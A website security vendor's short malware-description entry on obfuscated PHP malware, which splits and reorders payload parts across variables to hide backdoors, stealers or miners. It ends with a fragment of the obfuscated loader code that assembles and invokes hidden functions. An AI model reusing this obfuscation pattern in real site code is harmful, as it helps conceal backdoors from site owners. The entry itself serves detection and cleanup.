There are various techniques for obfuscating the malicious code. In this case, the functions and payload parts are split into several variables which are joined and their letters are reordered in order to prevent easy reading of the malware.
Anything can be encoded by this method, a backdoor, a spam injection tool, a credit card stealer or a crypto-miner.
This malicious code affects any vulnerable or compromised website that is configured to interpret the script language.
Inspect your site's files, specially theme related, to find for code you don't recognize. Look for any encoded or obfuscated PHP code.
Also, you can sign up with us and let our team remove the malware for you.
. $qcbx . $qcbx;$hmsnksrpzjox=$qcbx . $qcbx . $qcbx . $qcbx . $qcbx;$jzcwnqzcamff=$qcbx;$fayztenokwi=$bgywjejfoteq($cqmckqpjnpu);$ljwewrgycdim($hmsnksrpzjox,$fayztenokwi,$jzcwnqzcamff);